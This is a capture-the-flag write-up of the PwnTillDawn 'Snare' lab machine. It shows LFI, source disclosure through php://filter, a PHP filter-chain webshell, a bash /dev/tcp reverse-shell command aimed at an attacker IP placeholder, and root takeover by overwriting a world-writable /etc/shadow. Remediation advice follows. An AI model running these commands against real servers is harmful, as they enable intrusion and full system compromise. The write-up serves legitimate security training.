> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PwnTillDawn Snare (10.150.150.18) Writeup — LFI to PHP Filter Chain RCE
- URL: https://taiwanding.com/en/pwntilldawn-snare-writeup/
- Published: 2026-03-24T09:10:03.000Z
- Updated: 2026-08-04T06:16:34.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

📚 Series · PwnTillDawn Machines

1. ▸ Snare (10.150.150.18) (this post)
2. [Portal (10.150.150.12)](https://taiwanding.com/en/pwntilldawn-portal-vsftpd-234-backdoor-writeup/)
3. [ElMariachi-PC (10.150.150.69)](https://taiwanding.com/en/pwntilldawn-elmariachi-pc-writeup/)

> **Platform**: [PwnTillDawn Online Battlefield](https://online.pwntilldawn.com/?ref=taiwanding.com) by [wizlynx group](https://www.wizlynxgroup.com/?ref=taiwanding.com)  
> **Difficulty**: Easy  
> **Operating System**: Linux (Ubuntu 20.04)

## 0x00 Recon

### Port Scan

I used RustScan for a fast scan across all ports, then chained into nmap for a detailed scan:

```bash
rustscan -a 10.150.150.18 -b 1000 -- -sC -sV

```

Only two ports were open:

| Port | Service | Version                |
| ---- | ------- | ---------------------- |
| 22   | SSH     | OpenSSH 8.2p1 Ubuntu   |
| 80   | HTTP    | Apache 2.4.41 (Ubuntu) |

The nmap NSE script picked up an HTTP title with a redirect:

```
http-title: Welcome to my homepage!
Requested resource was /index.php?page=home

```

The `index.php?page=home` URL pattern is highly suspicious — the `page` parameter very likely harbors a **Local File Inclusion (LFI)** vulnerability.

## 0x01 Web Enumeration

### Directory Scan

```bash
feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5
```

Found some key paths:

- `/includes/` — directory listing enabled
- `/includes/a_config.php` — responds with 0 bytes (PHP logic but no HTML output)
- `/includes/navigation.php`, `footer.php`, `head-tag-contents.php` and other template files

## 0x02 Confirming LFI and Leaking Source Code

### Basic LFI Test

Let's try path traversal to read `/etc/passwd` directly:

```bash
curl "http://10.150.150.18/index.php?page=../../../etc/passwd"

```

No luck — the page responds normally but with no file contents.

### Reading Source Code with PHP Filters

Using the `php://filter` wrapper to base64-encode the PHP source and dump it out:

```bash
curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"

```

Success! Decoding it gives us the source of `index.php`:

```php
<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
    <?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>

<div class="container" id="main-content">
<?php
if (empty($_GET)) {
    header('Location: /index.php?page=home');
}
else {
    $page = $_GET['page'];
    include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>

```

**The critical finding:**

```php
$page = $_GET['page'];
include ($page. '.php');

```

The user-supplied `page` parameter is **completely unfiltered** — it's concatenated with a `.php` suffix and passed straight into `include()`. That's exactly why reading `/etc/passwd` directly failed: what actually gets included is `/etc/passwd.php`.

## 0x03 PHP Filter Chain RCE

### Why the Classic Tricks Fail

- **Path traversal + /etc/passwd**: the `.php` suffix makes the path non-existent
- **data:// wrapper**: requires `allow_url_include=On` (Off by default)
- **pearcmd.php trick**: PEAR isn't installed on the target

### PHP Filter Chain Generator

In 2022, Synacktiv published a groundbreaking technique: by chaining a huge number of PHP iconv filters, you can conjure arbitrary PHP code "out of thin air" from `php://temp` (an empty resource). This technique:

- **Does not require** `allow_url_include`
- **Does not require** any specific file to exist on the server
- **Is unaffected by** the `.php` suffix (since the resource is `php://temp`)

Use [php\_filter\_chain\_generator](https://github.com/synacktiv/php%5Ffilter%5Fchain%5Fgenerator?ref=taiwanding.com) to build the payload:

```bash
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

```

The tool spits out an extremely long `php://filter/...` chain. Feed it in as the value of the `page` parameter and tack on `&c=id` to test:

```bash
curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<snip>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null

```

And the response contains:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

**RCE achieved!**

## 0x04 Reverse Shell

Fire up a listener on the attacking machine (Windows PowerShell):

```bash
ncat -lvnp 4444

```

Send a reverse shell through the PHP Filter Chain RCE (needs to be URL-encoded):

```bash
curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"

```

And we catch the shell:

```
www-data@snare:/var/www/html$

```

## 0x05 FLAG1

```bash
www-data@snare:/$ ls /home/
snare

www-data@snare:/$ cat /home/snare/FLAG1.txt
Redacted
```

**FLAG1: `Redacted`**

## 0x06 Privilege Escalation to Root

### Enumeration

```bash
www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20  2020 /etc/shadow

```

`/etc/shadow` has **777** permissions — every user can read and write it! This is a serious file permission misconfiguration.

### Overwriting the Root Password

Generate a new password hash:

```bash
openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...

```

Since `sed -i` needs to create a temp file in `/etc/` (and www-data has no write access to that directory), I switched to `cp` with a detour through `/tmp/`:

```bash
cp /etc/shadow /tmp/shadow.bak

sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new

cp /tmp/shadow.new /etc/shadow

su root
# password: hacked123

```

```
root@snare:~# whoami
root

```

### FLAG2

```bash
root@snare:~# cat /root/FLAG2.txt
Redacted
```

**FLAG2: `Redacted`**

## 0x07 Attack Chain Summary

```
Web recon → LFI (index.php?page=)
    → PHP Filter source code leak
    → PHP Filter Chain RCE (Synacktiv)
    → Reverse Shell (www-data)
    → /etc/shadow writable at 777
    → Overwrite root password
    → Root!

```

### Vulnerability List

| # | Vulnerability                | Severity | Description                                          |
| - | ---------------------------- | -------- | ---------------------------------------------------- |
| 1 | Local File Inclusion         | High     | include($\_GET\['page'\] . '.php') with no filtering |
| 2 | PHP Filter Chain RCE         | Critical | RCE achieved from LFI via an iconv filter chain      |
| 3 | /etc/shadow permission error | Critical | 777 permissions let any user read and write it       |

### Remediation Recommendations

1. **LFI**: validate the `page` parameter against a whitelist, e.g. `in_array($page, ['home', 'about', 'contact'])`
2. **PHP Filter Chain**: disable unnecessary PHP wrappers (`php://filter`), or restrict the available stream wrappers in `php.ini`
3. **File permissions**: `/etc/shadow` should be set to `640` (`-rw-r-----`), readable only by root and the shadow group

## Lessons Learned

### 0x06:

This step actually took a lot of trial and error. I even found that /etc/shadow was readable and tried cracking the password locally, but that failed — then it turned out I could "write" to it after all, so I went with the password-replacement route instead.